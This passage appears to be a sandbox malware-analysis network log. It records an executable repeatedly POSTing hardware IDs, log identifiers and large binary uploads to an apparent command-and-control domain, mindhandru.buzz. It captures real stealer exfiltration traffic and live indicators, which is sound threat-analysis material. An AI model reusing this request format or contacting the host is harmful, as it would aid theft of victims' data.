2024-12-27 08:12:46 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7d4qi7bgo4j2vhvghi637bmlfn; expires=Tue, 22 Apr 2025 01:59:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vTmdeuA3s7HKCbw6G0rwt3fv9bjdNohQdPLM5uR%2FGClpoLkIZ%2BAHf%2FULFg%2Fd%2BIz1TQGZPZcuTVxW%2BsXMPQz%2BgVoCVs0%2Bp6jXBxhexl7qzW0d8thiT2BNP1E79YxPamfKvNY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d8f35ae24332-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1588&rtt_var=622&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19137&delivery_rate=1723730&cwnd=118&unsent_bytes=0&cid=87aad7d50882fd18&ts=1101&x=0"
2024-12-27 08:12:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:12:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:12:48 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UP39X4YRBA4Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8754 Host: mindhandru.buzz
2024-12-27 08:12:48 UTC	8754	OUT	Data Raw: 2d 2d 55 50 33 39 58 34 59 52 42 41 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 30 45 45 37 46 42 37 42 45 38 31 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 55 50 33 39 58 34 59 52 42 41 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 50 33 39 58 34 59 52 42 41 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 55 50 33 39 58 34 59 52 Data Ascii: --UP39X4YRBA4QContent-Disposition: form-data; name="hwid"A310EE7FB7BE8136BEBA0C6A975F1733--UP39X4YRBA4QContent-Disposition: form-data; name="pid"2--UP39X4YRBA4QContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--UP39X4YR
2024-12-27 08:12:49 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:12:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ksddtkq3jc6gutu9gan3jgo25; expires=Tue, 22 Apr 2025 01:59:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=twJaJT2yZ2r3A23pcBFcDWGmlJegP1Gc9SOtkvsJ5HgTI0u8%2BCsn6XqtVoCA9cvwZCtNFKcq132EnvkaCS03VqR7kJJG3NAy2c7%2F0Nr3KmNGRh0CAhdN5QHijxUzUPndAAA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d9023cbd5e66-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1636&min_rtt=1608&rtt_var=623&sent=8&recv=13&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9686&delivery_rate=1815920&cwnd=182&unsent_bytes=0&cid=95d36b831c227e31&ts=933&x=0"
2024-12-27 08:12:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:12:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:12:50 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XHS1F3JAR5BVJW5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20425 Host: mindhandru.buzz
2024-12-27 08:12:50 UTC	15331	OUT	Data Raw: 2d 2d 58 48 53 31 46 33 4a 41 52 35 42 56 4a 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 30 45 45 37 46 42 37 42 45 38 31 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 58 48 53 31 46 33 4a 41 52 35 42 56 4a 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 58 48 53 31 46 33 4a 41 52 35 42 56 4a 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --XHS1F3JAR5BVJW5Content-Disposition: form-data; name="hwid"A310EE7FB7BE8136BEBA0C6A975F1733--XHS1F3JAR5BVJW5Content-Disposition: form-data; name="pid"3--XHS1F3JAR5BVJW5Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-27 08:12:50 UTC	5094	OUT	Data Raw: 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-27 08:12:51 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:12:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pnueje34jiupcehkfm21dm8sco; expires=Tue, 22 Apr 2025 01:59:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6TXiyx%2FWRsfRm26EF66wPMjUU8F57L6jNGNG8xcku6e%2BHbWEMROTUyQxXY0Oet96FWEho0FS5y8hs8i9bWsnJHUtSrCihBpObwk38pEvZP8%2B8WgFKw0lWEEHa2HJLLW8te0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d9114b1542db-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2052&min_rtt=1804&rtt_var=854&sent=15&recv=27&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21383&delivery_rate=1618625&cwnd=215&unsent_bytes=0&cid=f7f31ce36d51a652&ts=946&x=0"
2024-12-27 08:12:51 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:12:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:12:53 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3C49E8AXQJ3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1224 Host: mindhandru.buzz
2024-12-27 08:12:53 UTC	1224	OUT	Data Raw: 2d 2d 33 43 34 39 45 38 41 58 51 4a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 30 45 45 37 46 42 37 42 45 38 31 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 33 43 34 39 45 38 41 58 51 4a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 43 34 39 45 38 41 58 51 4a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 43 34 39 45 38 41 58 51 4a 33 Data Ascii: --3C49E8AXQJ3Content-Disposition: form-data; name="hwid"A310EE7FB7BE8136BEBA0C6A975F1733--3C49E8AXQJ3Content-Disposition: form-data; name="pid"1--3C49E8AXQJ3Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3C49E8AXQJ3
2024-12-27 08:12:54 UTC	1120	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n4oj8hmvfkok6gr8no7jjfuj6b; expires=Tue, 22 Apr 2025 01:59:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BiEllHhTyl2cX9YaMwKulVk5z7BttqjbUg1Bt0Q4Co%2BpnPr4IOcDasXBIOsJz0tsR7u9XODrjq52KFaYWlr8mgCnv6t7Sgxb0LyJ2aFnIAglrbvt2pdM2h7Il5ph9sVFPrU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d923f8fb43b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1583&rtt_var=597&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2133&delivery_rate=1826141&cwnd=238&unsent_bytes=0&cid=19552ac00eb1940c&ts=818&x=0"
2024-12-27 08:12:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:12:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	104.21.11.101	443	6360	C:\Users\user\Desktop\RDb082EApV.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:12:56 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KIEOMEAM37R0F2B8CX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550312 Host: mindhandru.buzz
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 2d 2d 4b 49 45 4f 4d 45 41 4d 33 37 52 30 46 32 42 38 43 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 31 30 45 45 37 46 42 37 42 45 38 31 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 49 45 4f 4d 45 41 4d 33 37 52 30 46 32 42 38 43 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 49 45 4f 4d 45 41 4d 33 37 52 30 46 32 42 38 43 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --KIEOMEAM37R0F2B8CXContent-Disposition: form-data; name="hwid"A310EE7FB7BE8136BEBA0C6A975F1733--KIEOMEAM37R0F2B8CXContent-Disposition: form-data; name="pid"1--KIEOMEAM37R0F2B8CXContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 3b 81 93 b5 ac 78 86 32 4c f7 38 95 aa 95 e2 07 49 6d fc d4 75 8c 89 13 dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 41 03 3f 1d b0 74 f0 7d 9f 1e d8 6e 2c bf fb e6 d4 e8 e0 c5 dd fd de 37 Data Ascii: ;x2L8Imu6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8eA?t}n,7
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 86 b9 f3 5e ce 69 96 42 ca 47 8e e4 8b 61 de 63 9a a5 43 06 f2 7c ac e4 a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b e4 e9 8e 02 95 74 96 f2 04 2f 5d 24 43 e2 05 3b 58 34 5d 8c 39 be 39 cb Data Ascii: ^iBGacC\|.-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jKt/]$C;X4]99
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: ce f9 e4 2a ee d6 06 6e b9 ef d5 b1 db 1b 28 69 4c 33 7a 79 eb 59 2c 55 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 41 81 c4 8f 9c 10 9b 08 9b c4 50 c3 26 ab d2 20 da f8 6c e3 82 ab 01 eb Data Ascii: n(iL3zyY,U]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t?1RAP& l
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 94 9b ec 33 dc 37 90 f3 aa a4 ec 73 ff 34 51 0e a2 2c 85 49 3d e3 a0 ff 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa b1 d2 a4 75 73 35 b3 75 8b 3b ac 49 07 23 04 5e 0f a8 8d 67 bd e1 02 7f Data Ascii: 37s4Q,I=.iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3us5u;I#^g
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 98 19 0e 4c 1c 8d d9 55 fd f7 fd 6e 0c 29 49 cd 54 8e fb 91 a8 1b 4c 8a 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 de 07 1a 54 76 f6 3b cc b6 40 18 70 48 8a 21 df 00 53 c3 2e 71 81 07 e2 Data Ascii: LUn)ITL#}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R wTv;@pH!S.q
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 85 5a f2 28 79 0c db fc bf 6b c7 fe e7 a8 d5 e9 ed f3 df 6e 54 93 d2 95 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc 91 09 96 a5 58 16 36 ec e7 af 56 ff df 05 be cc c3 cc 92 e2 63 c2 0b 97 Data Ascii: Z(yknT8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJX6Vc
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 9d 44 3e 5a da 5c d1 db fa 64 ab f6 cd 2f 0b 42 4a 82 8c 15 db 88 47 07 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd 1c d0 5a 38 40 2c 41 20 8e f2 6e ca f6 5f 49 1b c0 02 72 38 74 8e 0f 94 Data Ascii: D>Z\d/BJGlz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/Z8@,A n_Ir8t
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: 97 64 67 d3 74 70 64 93 d8 fe ff ff c4 84 33 80 d3 76 f4 03 b2 b8 73 a8 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 ad 39 b3 64 17 1b 53 a7 11 ec 65 4b bc 07 e6 35 3a 89 90 74 b0 c6 18 9d Data Ascii: dgtpd3vs]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v9dSeK5:t
2024-12-27 08:12:56 UTC	15331	OUT	Data Raw: c2 e2 99 96 c2 95 64 11 d2 ae f5 9b 46 da 6b 0e ea 99 7c 91 ce 23 27 23 e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 fb 73 7d ec 15 61 10 e2 3d 37 2b 0f 87 f9 41 af 35 93 26 3e 